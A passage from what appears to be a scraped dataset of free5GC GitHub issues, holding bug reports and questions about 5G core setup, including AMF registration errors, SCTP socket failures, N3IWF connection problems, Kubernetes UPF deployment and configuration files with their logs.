- [ *] Yes, I have the time but I don't know how to start, I would need guidance.
- [ ] No, I don't have the time, although I believe I could do it if I had the time...
- [ ] No, I don't have the time and I wouldn't even know how to start.
|
[Feat] Layer 2 support for gtp-u tunnel (upfgtp)
|
https://api.github.com/repos/free5gc/free5gc/issues/568/comments
| 5 |
2024-05-22T10:04:41Z
|
2024-06-10T10:32:58Z
|
https://github.com/free5gc/free5gc/issues/568
| 2,310,119,552 | 568 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
Currently we are trying to deploy a physical setup using the following components:
- Samsung S21 Ultra as UE
- srsRAN and USRP B210 kit as gNB
- free5GC as a core network
but this doesn't happen and instead we got the following error :
amf | 2024-05-20T12:10:42.713761098Z [ERRO][AMF][Gmm][amf_ue_ngap_id:RU:0,AU:1(3GPP)][supi:SUPI:imsi-001010000000001] Registration Status Update Error[: server no response]
## To Reproduce
Steps to reproduce the behavior:
1. Change config as described in the configs file
2. Add the subscriber in the web console with the corresponding values
3. Run free5GC: docker compose -f docker-compose-build.yaml up
4. Run srsRAN: docker compose -f srsgnb.yaml down
5. Change UE from airplane mode to data
## Expected behavior
UE shall connects to 5G network but this don't happen.
## Screenshots
## Environment (please complete the following information):
- free5GC Version: v3.4.1
- OS: Ubuntu 20.04.6 LTS
- Kernel version: 5.15.0-97-generic
- go version: 1.22.3 linux/amd64
- c compiler version (Option): gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0
## Trace File
### Configuration File
[config.zip](https://github.com/free5gc/free5gc/files/15377092/config.zip)
### PCAP File
[wireshark_free5g_pcap.zip](https://github.com/free5gc/free5gc/files/15377075/wireshark_free5g_pcap.zip)
### Log File
[amf.log.txt](https://github.com/free5gc/free5gc/files/15377489/amf.log.txt)
amf | 2024-05-20T12:10:42.713761098Z [ERRO][AMF][Gmm][amf_ue_ngap_id:RU:0,AU:1(3GPP)][supi:SUPI:imsi-001010000000001] Registration Status Update Error[: server no response]
nrf | 2024-05-20T12:10:42.714954709Z [INFO][NRF][DISC] Handle NFDiscoveryRequest
nrf | 2024-05-20T12:10:42.717942641Z [INFO][NRF][GIN] | 200 | 10.100.200.10 | GET | /nnrf-disc/v1/nf-instances?requester-nf-type=AMF&target-nf-type=AMF |
amf | 2024-05-20T12:10:42.718718668Z [INFO][AMF][Ngap][amf_ue_ngap_id:RU:0,AU:1(3GPP)][ran_addr:10.100.200.250:45511] Send Reroute Nas Request
amf | 2024-05-20T12:10:42.719221065Z [ERRO][AMF][Gmm] AMF can not select an target AMF by NRF
## System architecture
free5GC is deployed using docker
## Walkthrough
It seems that the mobile RequestedNssai - ServingSnssai: &{Sst:1 Sd:}, but we cannot configure free5GC to accept Sd = "". We tried to reset ore set SD from the mobile but we don't succeeded.
|
[Bugs] Registration Status Update Error when connecting to a physical UE
|
https://api.github.com/repos/free5gc/free5gc/issues/567/comments
| 7 |
2024-05-20T13:30:41Z
|
2024-07-26T06:26:31Z
|
https://github.com/free5gc/free5gc/issues/567
| 2,306,010,169 | 567 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
The module "github.com/fclairamb/afero-snd" with an unknown license is used in CHF.
## Walkthrough (Option)
This module seems to be referenced via module "github.com/fclairamb/ftpserve".
|
[Bugs] CHF uses unknown license module (github.com/fclairamb/afero-snd)
|
https://api.github.com/repos/free5gc/free5gc/issues/566/comments
| 1 |
2024-05-09T05:00:48Z
|
2024-05-10T11:52:36Z
|
https://github.com/free5gc/free5gc/issues/566
| 2,286,895,021 | 566 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
The LGPL-licensed module "github.com/juju/fslock" is used in CHF.
## Walkthrough (Option)
This module is used by the field CdrFileLock in the struct ChfUe in the file "NFs/chf/internal/context/ue_context.go".
|
[Bugs] LGPL module is used in CHF
|
https://api.github.com/repos/free5gc/free5gc/issues/565/comments
| 1 |
2024-05-09T04:51:40Z
|
2024-05-10T04:28:28Z
|
https://github.com/free5gc/free5gc/issues/565
| 2,286,886,621 | 565 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
I'm using the Opentelemetry Operator with the Instrumentation CRD to instrument (get traces from) Free5GC for the registration procedure with UERANSIM. When analysing the traces obtained via Otel, i see (in Jaeger) unusual traces (with long spans of >1second) with the HTTP PRI method:
These PRI traces are certainly unexpected to say the least. The HTTP PRI method "is never used by an actual client. This method will appear to be used when an HTTP/1.1 server or intermediary attempts to parse an HTTP/2 connection preface." (based on https://webconcepts.info/concepts/http-method/PRI). So i imagine this means that the HTTP requests are send between a client and a server where there is an HTTP version mismatch?
Otherwise the logs on both otel instrumentation container and the otel operator seem clean:
## To Reproduce
Steps to reproduce the behavior:
Deploy Otel Operator, Go Instrumentation, Free5GC (latest) and Jaeger. (all latest versions)
View logs from the otel sidecar container or traces in Jaeger
Observe unusual traces with HTTP PRI method in Jaeger.
## Expected behavior
The HTTP PRI method is definitely unexpected. Other than that, the F5gc works as expected - can see the registered user in the WebUI.
## Environment (please complete the following information):
OS: Ubuntu 20.04 LTS Kernel v 5.15.0-105-generic
Go Version: 1.17.8 (Free5gc)
Version: otel operator latest, same with instrumentation
### PCAP File
Not available yet. I can reproduce this issue if the PCAP is needed.
|
[Bugs] HTTP PRI method appearing in distributed tracing
|
https://api.github.com/repos/free5gc/free5gc/issues/564/comments
| 1 |
2024-05-05T18:48:52Z
|
2024-05-15T02:26:42Z
|
https://github.com/free5gc/free5gc/issues/564
| 2,279,676,173 | 564 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
I'm trying to configure Free5gc to use CHF from the external provider. I succesfuly registered this CHF in NRF, but when I try to connect UE, the following errors occur (full logs also attached):
SMF:
2024-04-29T16:59:34.312541475+02:00 [INFO][SMF][PduSess] CHF Selection for SMContext SUPI[imsi-208930000000001] PDUSessionID[2]
2024-04-29T16:59:34.315972245+02:00 [INFO][SMF][Charging] Handle SendConvergedChargingRequest
2024-04-29T16:59:34.316362270+02:00 [ERRO][SMF][GIN] [Debugging] panic:
POST /nsmf-pdusession/v1/sm-contexts HTTP/2.0
(...callstack...)
2024-04-29T16:59:34.316934563+02:00 [INFO][SMF][GIN] | 500 | 127.0.0.1 | POST | /nsmf-pdusession/v1/sm-contexts |
AMF:
2024-04-29T16:59:34.192410890+02:00 [DEBU][AMF][Gmm][amf_ue_ngap_id:RU:1,AU:1(3GPP)][supi:SUPI:imsi-208930000000001] Search SMF from NRF[http://192.168.16.130:8000]
2024-04-29T16:59:34.256748241+02:00 [ERRO][AMF][Gmm][amf_ue_ngap_id:RU:1,AU:1(3GPP)][supi:SUPI:imsi-208930000000001] CreateSmContextRequest Error: undefined response type
This only happens with an external CHF, when Free5gc CHF is used, everything works ok.
Except NRF registartion request and watchdog requests I see no other communication between external CHF and Free5gc, so I think the issue is not related to the external CHF response format or behaviour.
## To Reproduce
1. start Free5gc modules, except of Free5gc-CHF (those are started on VM1: 192.168.16.130)
2. start external CHF (started on VM2: 192.168.16.129). CHF is succesfuly registared in NRF
3. start gNB (UERANSIM on VM2)
4. start UE (UERANSIM on VM2) - this step causes described internal errors on F5gc side.
## Environment (please complete the following information):
- free5GC Version: v3.4.1
- OS: Ubuntu Ubuntu 22.04.4 LTS (VM)
- Kernel version: 6.5.0-28-generic
- go version: go1.18.1 linux/amd64
- c compiler version (Option): gcc (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0
## Trace File
### Configuration File
[config_e500.zip](https://github.com/free5gc/free5gc/files/15150191/config_e500.zip)
### PCAP File
[trace.zip](https://github.com/free5gc/free5gc/files/15150219/trace.zip)
### Log File
[amf.log](https://github.com/free5gc/free5gc/files/15150190/amf.log)
[smf.log](https://github.com/free5gc/free5gc/files/15150192/smf.log)
|
[Bugs] SMF panic on external (3rd party) CHF integration
|
https://api.github.com/repos/free5gc/free5gc/issues/562/comments
| 31 |
2024-04-29T14:05:29Z
|
2024-05-20T14:13:12Z
|
https://github.com/free5gc/free5gc/issues/562
| 2,269,147,654 | 562 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
Sometime accept for the SCTP socket fails in AMF.
## To Reproduce
Steps to reproduce the behavior:
1. Apply this patch
```
diff --git a/test/registration_test.go b/test/registration_test.go
index 761e064..8c0e4f1 100644
--- a/test/registration_test.go
+++ b/test/registration_test.go
@@ -64,6 +64,11 @@ func TestRegistration(t *testing.T) {
var recvMsg = make([]byte, 2048)
// RAN connect to AMF
+ for i := 0; i < 1000; i++ {
+ conn, err := test.ConnectToAmf(amfN2Ipv4Addr, ranN2Ipv4Addr, 38412, 9487)
+ assert.Nil(t, err)
+ conn.Close()
+ }
conn, err := test.ConnectToAmf(amfN2Ipv4Addr, ranN2Ipv4Addr, 38412, 9487)
assert.Nil(t, err)
```
2. Run command `./test.sh -o TestRegistration`
## Environment (please complete the following information):
- free5GC Version: 3.4.1
- OS: Ubuntu 20.04.6 LTS
- Kernel version: 5.15.0-102-generic
- go version: go1.22.2
## Additional context
It seems that this issue is caused by https://github.com/free5gc/sctp/commit/097e517c060e9a3a7d617aac46256ef2b86084a5.
In this issue case, raw SCTP socket may be leaked.
[log.txt](https://github.com/free5gc/free5gc/files/15087717/log.txt)
|
[Bugs] Sometime accept for the SCTP socket fails
|
https://api.github.com/repos/free5gc/free5gc/issues/561/comments
| 0 |
2024-04-24T04:12:08Z
|
2024-05-22T16:03:39Z
|
https://github.com/free5gc/free5gc/issues/561
| 2,260,270,502 | 561 |
[
"free5gc",
"free5gc"
] |
Hello All,
Currently we are trying to deploy a physical setup:
1. Samsung S21 Ultra as UE
2. SRSRAN as gNB
3. free5gc as a core network
When we try to connect the UE we faced the following error
[WARN][AMF][Gmm] RequestedNssai[{Sst:1 Sd:}] is not supported by AMF
[ERRO][AMF][Gmm][amf_ue_ngap_id:RU:0,AU:1(3GPP)][supi:SUPI:imsi-001010000000001] Registration Status Update Error[: server no response]
It seems that the UE is sending Sst:1 and empty Sd but the core doesn't support Sd to be empty. Is there a workaround for this scenario ?
|
Registration Status Update Error when connecting to a physical UE
|
https://api.github.com/repos/free5gc/free5gc/issues/582/comments
| 3 |
2024-04-23T15:38:37Z
|
2024-07-13T13:29:59Z
|
https://github.com/free5gc/free5gc/issues/582
| 2,395,232,445 | 582 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
The **Source Interface Type** used in PFCP Session Establishment Request should be **Core** for IP based PDU Session; instead, the value is **SGi-LAN/N6-LAN**, referring to a Ethernet based PDU Session (3GPP 29.244, 8.2.2-1).
Also the 3GPP Interface Type IE is missing (3GPP 29.244, 8.2.118).
## To Reproduce
Steps to reproduce the behavior:
1. Run a TestRegistration scenario and check the wireshark trace.
## Expected behavior
Here how the PFCP Establishment Request should look like:
[PFCP_Establishment_Request_Reference.txt](https://github.com/free5gc/free5gc/files/15021414/PFCP_Establishment_Request_Reference.txt)
## Screenshots
## Environment (please complete the following information):
- free5GC Version: 3.4.1
- OS: Ubuntu 20.04.6
- Kernel version: 5.4.0-174-generic
## Trace File
### Configuration File
### PCAP File
[TestRegistration.zip](https://github.com/free5gc/free5gc/files/15021380/TestRegistration.zip)
|
[Bugs] Wrong Interface Type in PFCP Session Establishment Request for IP Based PDU Session
|
https://api.github.com/repos/free5gc/free5gc/issues/557/comments
| 6 |
2024-04-18T07:41:40Z
|
2024-07-03T03:31:59Z
|
https://github.com/free5gc/free5gc/issues/557
| 2,249,985,281 | 557 |
[
"free5gc",
"free5gc"
] |
Hello,
while I was trying to implement profile A and profile B schemes, I changed the configuration in free5gc-ue.yaml in UERANSIM and chose protection scheme 1 and profile A was implemented successfully.. when I tried profile B, I got the following error:
So profile B is not implemented in free5gc? I'm wondering because I saw public and private key corresponding to profile B in udmconfig..
Thank you in advance..
|
Profile B not implemented
|
https://api.github.com/repos/free5gc/free5gc/issues/556/comments
| 1 |
2024-04-16T18:31:03Z
|
2024-04-18T03:35:53Z
|
https://github.com/free5gc/free5gc/issues/556
| 2,246,658,116 | 556 |
[
"free5gc",
"free5gc"
] |
<!-- Remove warning (above 3 lines) while reporting the issue -->
## Describe the bug
While trying to replicate the kubernetes cluster to setup 5g core, the upf is stuck on Container Creating for days.
```
free5gc-v1-free5gc-upf-upf-848cc8fb48-gzhgx 0/1 ContainerCreating 0 20h
```
I have gpt5g module installed.
## To Reproduce
Steps to reproduce the behavior:
```
kubectl create ns free5gc
git clone https://github.com/Orange-OpenSource/towards5gs-helm.git
cd towards5gs-helm/charts/
helm -n free5gc install free5gc-v1 ./free5gc/
helm -n free5gc install ueransim-v1 ./ueransim/
watch kubectl get pods -n free5gc
```
## Expected behavior
A clear and concise description of what you expected to happen.
The upf pod to run properly.
## Environment (please complete the following information):
- free5GC Version: v3.0.1
- OS: Ubuntu 20.04
- Kernel version: [e.g. 5.200.0-0-generic]
- go version: 1.18.0 linux/amd64
### Log File
`kubectl describe pods -n free5gc` gives the following for upf
```
Events:
Type Reason Age From Message
---- ------ ---- ---- -------
Normal Scheduled 12m default-scheduler Successfully assigned free5gc/free5gc-v1-free5gc-upf-upf-848cc8fb48-gzhgx to minikube
Normal AddedInterface 11m multus Add eth0 [10.244.120.97/32] from k8s-pod-network
Normal AddedInterface 11m multus Add n3 [10.100.50.233/29] from free5gc/n3network-free5gc-v1-free5gc-upf
Warning FailedCreatePodSandBox 11m kubelet Failed to create pod sandbox: rpc error: code = Unknown desc = failed to set up sandbox container "9ae74f3a589ba771246a3c5bde9c1a7d3e3ee230f31dcc7eef02d4fbecfbac95" network for pod "free5gc-v1-free5gc-upf-upf-848cc8fb48-gzhgx": networkPlugin cni failed to set up pod "free5gc-v1-free5gc-upf-upf-848cc8fb48-gzhgx_free5gc" network: plugin type="multus" name="multus-cni-network" failed (add): [free5gc/free5gc-v1-free5gc-upf-upf-848cc8fb48-gzhgx/:n6network-free5gc-v1-free5gc-upf]: error adding container to network "n6network-free5gc-v1-free5gc-upf": plugin type="ipvlan" failed (add): failed to lookup master "eth1": Link not found
Normal AddedInterface 11m multus Add eth0 [10.244.120.89/32] from k8s-pod-network
Normal AddedInterface 11m multus Add n3 [10.100.50.233/29] from free5gc/n3network-free5gc-v1-free5gc-upf
```
Why is eth1 not found?
|
[Bug] UPF not working in Kubernetes Cluster
|
https://api.github.com/repos/free5gc/free5gc/issues/551/comments
| 5 |
2024-03-31T11:14:42Z
|
2024-05-06T15:56:08Z
|
https://github.com/free5gc/free5gc/issues/551
| 2,216,911,154 | 551 |
[
"free5gc",
"free5gc"
] |
I need the XXXsslkey.log file, but it wasn't generated as default. (v3.4.0)
I started the AMF with the following option:
./bin/amf -l log/amf.log
By doing this, the following two files were generated
log/amf.log
log/key/amfsslkey.log
I find it counterintuitive that log/key/amfsslkey.log is generated with -l log/amf.log.
Is this the expected behavior?
I think it would be better to have sslkey.log created by default or to have a more intuitive option for specifying its creation.
|
[Feat]Options for Creating an sslkey.log
|
https://api.github.com/repos/free5gc/free5gc/issues/549/comments
| 1 |
2024-03-23T05:23:13Z
|
2024-05-31T04:48:45Z
|
https://github.com/free5gc/free5gc/issues/549
| 2,203,704,386 | 549 |
[
"free5gc",
"free5gc"
] |
According to the URL below (free5gc v3.4.0), t3555 is defined twice:
https://github.com/free5gc/free5gc/blob/main/config/amfcfg.yaml
I believe it is incorrect to describe the same timer in two places.
What should be the correct definition for this?
```
# retransmission timer for NAS Configuration Update Command message
t3555:
enable: true # true or false
expireTime: 6s # default is 6 seconds
maxRetryTimes: 4 # the max number of retransmission
: ：
# retransmission timer for Configuration Update Command message
t3555:
enable: true # true or false
expireTime: 6s # default is 6 seconds
maxRetryTimes: 4 # the max number of retransmission
```
|
Duplicate Definition of t3555 Timer in amfcfg.yaml
|
https://api.github.com/repos/free5gc/free5gc/issues/547/comments
| 1 |
2024-03-18T15:17:49Z
|
2024-03-19T06:28:21Z
|
https://github.com/free5gc/free5gc/issues/547
| 2,192,504,344 | 547 |
[
"free5gc",
"free5gc"
] |
Hi There,
After deploy UERANSIM and free5gc , Is there any way to perform the speed test using okla speed test or some other application ?
Moreover , if i want to capture the traces in wireshark , how to do it .
what is the meaning of this .
Start a Wireshark capture on any core-connected interface, applying the filter 'pfcp||icmp||gtp'.
https://free5gc.org/guide/4-test-free5gc/
|
Test free5GC
|
https://api.github.com/repos/free5gc/free5gc/issues/546/comments
| 6 |
2024-03-16T05:54:46Z
|
2024-03-20T14:38:08Z
|
https://github.com/free5gc/free5gc/issues/546
| 2,189,797,406 | 546 |
[
"free5gc",
"free5gc"
] |
## Describe the bug
I tried to run the N3IWF on free5GC, however it doesn't start. When I run the TestNon3GPP, the test passes (logs attached on trace file section). When I start free5GC with the N3IWF (both with the default config or after following the instructions from [here](https://free5gc.org/guide/n3iwue-installation/) ), then it fails to load N3IWF with the error "[ERRO][N3IWF][NGAP] [SCTP] DialSCTP(): connection refused"
## To Reproduce
Steps to reproduce the behavior:
1. Clone and install free5GC
2. Start the `run.sh` script with `-n3iwf` parameter
3. N3IWF can't start
## Expected behavior
free5GC and N3IWF load correctly.
## Screenshots
## Environment:
- free5GC Version: v3.4.0*
- OS: Ubuntu Server 20.04.6
- Kernel version: 5.4.0-173-generic
- go version: go1.21.6 linux/amd64
- c compiler version (Option): gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0
\* I also have tried with nightly (commit https://github.com/free5gc/free5gc/commit/8bfdd817c44fd1342accb6e7af5f73a5f0edc223) too with the same result
## Trace File
### Configuration File
[free5gc-config.zip](https://github.com/free5gc/free5gc/files/14601425/free5gc-config.zip)
### PCAP File
[free5gc.pcap.zip](https://github.com/free5gc/free5gc/files/14601351/free5gc.pcap.zip)
### Log File
[free5gc.log](https://github.com/free5gc/free5gc/files/14601103/free5gc.log)
[free5gc-TestNon3GPP-log.txt](https://github.com/free5gc/free5gc/files/14601470/free5gc-TestNon3GPP-log.txt)
The N3IWF slice of the `free5gc.log` file is below:
```
2024-03-13T23:46:42.716519029Z [INFO][N3IWF][Main] N3IWF version:
free5GC version: v3.4.0-17-g8bfdd81
build time: 2024-03-13T21:15:35Z
commit hash: a4088a87
commit time: 2023-12-19T09:23:50Z
go version: go1.21.6 linux/amd64
2024-03-13T23:46:42.716575719Z [INFO][N3IWF][CFG] Read config from [./config/n3iwfcfg.yaml]
2024-03-13T23:46:42.717434421Z [INFO][N3IWF][Main] Log enable is set to [true]
2024-03-13T23:46:42.717449811Z [INFO][N3IWF][Main] Log level is set to [info]
2024-03-13T23:46:42.717461991Z [INFO][N3IWF][Main] Report Caller is set to [false]
2024-03-13T23:46:42.717469251Z [INFO][N3IWF][Init] Server started
2024-03-13T23:46:42.717647921Z [WARN][N3IWF][CTX] Parse PKCS8 private key failed: x509: failed to parse private key (use ParsePKCS1PrivateKey instead for this key format)
2024-03-13T23:46:42.717669251Z [INFO][N3IWF][CTX] Parse using PKCS1...
2024-03-13T23:46:42.741264847Z [WARN][N3IWF][Init] netlink.RouteAdd: file exists
2024-03-13T23:46:42.741299217Z [INFO][N3IWF][Init] Setup XFRM interface xfrmi-default
2024-03-13T23:46:42.742817060Z [ERRO][N3IWF][NGAP] [SCTP] DialSCTP(): connection refused
2024-03-13T23:46:42.742880450Z [INFO][N3IWF][NGAP] Retry to connect AMF after 1 second...
2024-03-13T23:46:43.744089769Z [ERRO][N3IWF][NGAP] [SCTP] DialSCTP(): connection refused
2024-03-13T23:46:43.744122919Z [INFO][N3IWF][NGAP] Retry to connect AMF after 1 second...
2024-03-13T23:46:44.777509353Z [ERRO][N3IWF][NGAP] [SCTP] DialSCTP(): connection refused
2024-03-13T23:46:44.777553264Z [INFO][N3IWF][NGAP] NGAP receiver stopped
2024-03-13T23:46:44.777562624Z [ERRO][N3IWF][NGAP] Failed to connect to AMF.
2024-03-13T23:46:44.777572284Z [ERRO][N3IWF][Init] Start NGAP service failed: NGAP service run failed
```
## System architecture (Option)
VM running on Oracle Virtual Box
free5GC's VM has a fixed IP (10.0.0.110)
## Additional context
I tried to change `Nwu interfaces parameters` and the `GTPBindAddress` IP but without success. I've also tried to run my setup on another local network address (172.16.x.x) to avoid IP conflicts and I get the same error.
Another thing I tried was to run N3IWF after the other NFs (as suggested [here](https://forum.free5gc.org/t/n3iwf-connection-to-amf-fails/1337) ) to make sure AMF is already running when N3IWF starts. This [other post](https://forum.free5gc.org/t/testnon3gpp-network-interface-help/2164/7) suggested to use the recommended software (Ubuntu 20.04 and kernel 5.4.x) which is what I'm currently using (see screenshot above)
PS: I didn't post my issue on free5GC forum because I couldn't get the confirmation mail (is protonmail blocked there?)
TIA, Leo.
|
[Bugs] N3IWUE fails to stablish network connection with N3IWF in v3.4.0
|
https://api.github.com/repos/free5gc/free5gc/issues/545/comments
| 11 |
2024-03-14T11:32:57Z
|
2024-03-30T23:40:15Z
|
https://github.com/free5gc/free5gc/issues/545
| 2,186,119,527 | 545 |
[
"free5gc",
"free5gc"
] |
According to the following URL, free5gc should support the setting of static IP addresses.
https://free5gc.org/guide/features/#supported-features
- Dynamic/Static IPv4 address allocation
I interpret this as referring to the IP address allocation for PDU sessions assigned to UEs. However, I could not find where to configure this in the version 3.4.0 web console.
What changes are needed to set a static IP for PDU sessions allocated to a UE?
|
[Feat]How can I set a static IP address for a UE?
|
https://api.github.com/repos/free5gc/free5gc/issues/543/comments
| 3 |
2024-03-12T15:42:41Z
|
2024-05-26T16:01:22Z
|
https://github.com/free5gc/free5gc/issues/543
| 2,181,982,774 | 543 |
[
"free5gc",
"free5gc"
] |
```
[2024-03-12 07:56:10.732] [nas] [info] Initial Registration is successful
[2024-03-12 07:56:10.732] [nas] [debug] Sending PDU Session Establishment Request
[2024-03-12 07:56:10.732] [nas] [debug] UAC access attempt is allowed for identity[0], category[MO_sig]
[2024-03-12 07:56:10.952] [nas] [error] PDU Session Establishment Reject received [INSUFFICIENT_RESOURCES_FOR_SPECIFIC_SLICE_AND_DNN]
[2024-03-12 07:56:11.792] [nas] [debug] Sending PDU Session Establishment Request
[2024-03-12 07:56:11.792] [nas] [debug] UAC access attempt is allowed for identity[0], category[MO_sig]
[2024-03-12 07:56:11.813] [nas] [error] PDU Session Establishment Reject received [INSUFFICIENT_RESOURCES_FOR_SPECIFIC_SLICE_AND_DNN]
[2024-03-12 07:56:12.893] [nas] [debug] Sending PDU Session Establishment Request
[2024-03-12 07:56:12.893] [nas] [debug] UAC access attempt is allowed for identity[0], category[MO_sig]
[2024-03-12 07:56:12.910] [nas] [error] PDU Session Establishment Reject received [INSUFFICIENT_RESOURCES_FOR_SPECIFIC_SLICE_AND_DNN]
[2024-03-12 07:56:13.994] [nas] [debug] Sending PDU Session Establishment Request
[2024-03-12 07:56:13.994] [nas] [debug] UAC access attempt is allowed for identity[0], category[MO_sig]
[2024-03-12 07:56:14.010] [nas] [error] PDU Session Establishment Reject received [INSUFFICIENT_RESOURCES_FOR_SPECIFIC_SLICE_AND_DNN]
[2024-03-12 07:56:15.095] [nas] [debug] Sending PDU Session Establishment Request
[2024-03-12 07:56:15.095] [nas] [debug] UAC access attempt is allowed for identity[0], category[MO_sig]
[2024-03-12 07:56:15.114] [nas] [error] PDU Session Establishment Reject received [INSUFFICIENT_RESOURCES_FOR_SPECIFIC_SLICE_AND_DNN]
[2024-03-12 07:56:16.196] [nas] [debug] Sending PDU Session Establishment Request
[2024-03-12 07:56:16.196] [nas] [debug] UAC access attempt is allowed for identity[0], category[MO_sig]
[2024-03-12 07:56:16.214] [nas] [error] PDU Session Establishment Reject received [INSUFFICIENT_RESOURCES_FOR_SPECIFIC_SLICE_AND_DNN]
[2024-03-12 07:56:17.297] [nas] [debug] Sending PDU Session Establishment Request
[2024-03-12 07:56:17.297] [nas] [debug] UAC access attempt is allowed for identity[0], category[MO_sig]
[2024-03-12 07:56:17.314] [nas] [error] PDU Session Establishment Reject received [INSUFFICIENT_RESOURCES_FOR_SPECIFIC_SLICE_AND_DNN]
[2024-03-12 07:56:18.398] [nas] [debug] Sending PDU Session Establishment Request
[2024-03-12 07:56:18.398] [nas] [debug] UAC access attempt is allowed for identity[0], category[MO_sig]
[2024-03-12 07:56:18.417] [nas] [error] PDU Session Establishment Reject received [INSUFFICIENT_RESOURCES_FOR_SPECIFIC_SLICE_AND_DNN]
```
|
INSUFFICIENT_RESOURCES_FOR_SPECIFIC_SLICE_AND_DNN
|
https://api.github.com/repos/free5gc/free5gc/issues/542/comments
| 10 |
2024-03-12T08:10:22Z
|
2024-03-14T12:35:24Z
|
https://github.com/free5gc/free5gc/issues/542
| 2,180,982,006 | 542 |
[
"free5gc",
"free5gc"
] |
I have deployed free5gc on one VM with IP 172.27.129.34 and deployed UERANSIM on another VM with IP 172.27.129.35 ,
I am following guide from below link
https://free5gc.org/guide/5-install-ueransim/
in step 7 i am facing issues
7. Testing UERANSIM against free5GC
SCTP could not connect , Connection refused, Could you please support for it .
////
Please see below logs when I run the "./run.sh " on free5gc VM , ( AMF is showing some error )
/////
2024-03-09T13:41:39.758761666Z [INFO][AMF][CFG] Read config from [./config/amfcfg.yaml]
2024-03-09T13:41:39.760760597Z [ERRO][AMF][CFG] Invalid Info: non zero value required
2024-03-09T13:41:39.760806275Z [ERRO][AMF][CFG] [-- PLEASE REFER TO SAMPLE CONFIG FILE COMMENTS --]
2024-03-09T13:41:39.760886534Z [ERRO][AMF][Main] AMF Run error: Config validate Error
///////
Please see below AMF CFG YAML file , If any issue please highlight
///
iinfo:
version: 1.0.9
description: AMF initial local configuration
configuration:
amfName: AMF # the name of this AMF
ngapIpList: # the IP list of N2 interfaces on this AMF
- 172.27.129.34 # 127.0.0.18
ngapPort: 38412 # the SCTP port listened by NGAP
sbi: # Service-based interface information
scheme: http # the protocol for sbi (http or https)
registerIPv4: 127.0.0.18 # IP used to register to NRF
bindingIPv4: 127.0.0.18 # IP used to bind the service
port: 8000 # port used to bind the service
tls: # the local path of TLS key
pem: cert/amf.pem # AMF TLS Certificate
key: cert/amf.key # AMF TLS Private key
serviceNameList: # the SBI services provided by this AMF, refer to TS 29.518
- namf-comm # Namf_Communication service
- namf-evts # Namf_EventExposure service
- namf-mt # Namf_MT service
- namf-loc # Namf_Location service
- namf-oam # OAM service
servedGuamiList: # Guami (Globally Unique AMF ID) list supported by this AMF
# <GUAMI> = <MCC><MNC><AMF ID>
- plmnId: # Public Land Mobile Network ID, <PLMN ID> = <MCC><MNC>
mcc: 208 # Mobile Country Code (3 digits string, digit: 0~9)
mnc: 93 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
amfId: cafe00 # AMF identifier (3 bytes hex string, range: 000000~FFFFFF)
supportTaiList: # the TAI (Tracking Area Identifier) list supported by this A MF
- plmnId: # Public Land Mobile Network ID, <PLMN ID> = <MCC><MNC>
mcc: 208 # Mobile Country Code (3 digits string, digit: 0~9)
mnc: 93 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
tac: 000001 # Tracking Area Code (3 bytes hex string, range: 000000~FFFFFF )
plmnSupportList: # the PLMNs (Public land mobile network) list supported by th is AMF
- plmnId: # Public Land Mobile Network ID, <PLMN ID> = <MCC><MNC>
mcc: 208 # Mobile Country Code (3 digits string, digit: 0~9)
mnc: 93 # Mobile Network Code (2 or 3 digits string, digit: 0~9)
snssaiList: # the S-NSSAI (Single Network Slice Selection Assistance Infor mation) list supported by this AMF
- sst: 1 # Slice/Service Type (uinteger, range: 0~255)
sd: 010203 # Slice Differentiator (3 bytes hex string, range: 000000~F FFFFF)
- sst: 1 # Slice/Service Type (uinteger, range: 0~255)
sd: 112233 # Slice Differentiator (3 bytes hex string, range: 000000~F FFFFF)
supportDnnList: # the DNN (Data Network Name) list supported by this AMF
- internet
nrfUri: http://127.0.0.10:8000 # a valid URI of NRF
security: # NAS security parameters
integrityOrder: # the priority of integrity algorithms
- NIA2
# - NIA0
cipheringOrder: # the priority of ciphering algorithms
- NEA0
# - NEA2
networkName: # the name of this core network
full: free5GC
short: free
ngapIE: # Optional NGAP IEs
mobilityRestrictionList: # Mobility Restriction List IE, refer to TS 38.413
enable: true # append this IE in related message or not
maskedIMEISV: # Masked IMEISV IE, refer to TS 38.413
enable: true # append this IE in related message or not
redirectionVoiceFallback: # Redirection Voice Fallback IE, refer to TS 38.41 3
enable: false # append this IE in related message or not
nasIE: # Optional NAS IEs
networkFeatureSupport5GS: # 5gs Network Feature Support IE, refer to TS 24.5 01
enable: true # append this IE in Registration accept or not
length: 1 # IE content length (uinteger, range: 1~3)
imsVoPS: 0 # IMS voice over PS session indicator (uinteger, range: 0~1)
emc: 0 # Emergency service support indicator for 3GPP access (uinteger, ra nge: 0~3)
emf: 0 # Emergency service fallback indicator for 3GPP access (uinteger, r ange: 0~3)
iwkN26: 0 # Interworking without N26 interface indicator (uinteger, range: 0~1)
mpsi: 0 # MPS indicator (uinteger, range: 0~1)
emcN3: 0 # Emergency service support indicator for Non-3GPP access (uinteg er, range: 0~1)
mcsi: 0 # MCS indicator (uinteger, range: 0~1)
t3502Value: 720 # timer value (seconds) at UE side
t3512Value: 3600 # timer value (seconds) at UE side
non3gppDeregTimerValue: 3240 # timer value (seconds) at UE side
# retransmission timer for paging message
t3513:
enable: true # true or false
expireTime: 6s # default is 6 seconds
maxRetryTimes: 4 # the max number of retransmission
# retransmission timer for NAS Deregistration Request message
t3522:
enable: true # true or false
expireTime: 6s # default is 6 seconds
maxRetryTimes: 4 # the max number of retransmission
# retransmission timer for NAS Registration Accept message
t3550:
enable: true # true or false
expireTime: 6s # default is 6 seconds
maxRetryTimes: 4 # the max number of retransmission
# retransmission timer for NAS Authentication Request/Security Mode Command me ssage
t3560:
enable: true # true or false
expireTime: 6s # default is 6 seconds
maxRetryTimes: 4 # the max number of retransmission
# retransmission timer for NAS Notification message
t3565:
enable: true # true or false
expireTime: 6s # default is 6 seconds
maxRetryTimes: 4 # the max number of retransmission
# retransmission timer for NAS Identity Request message
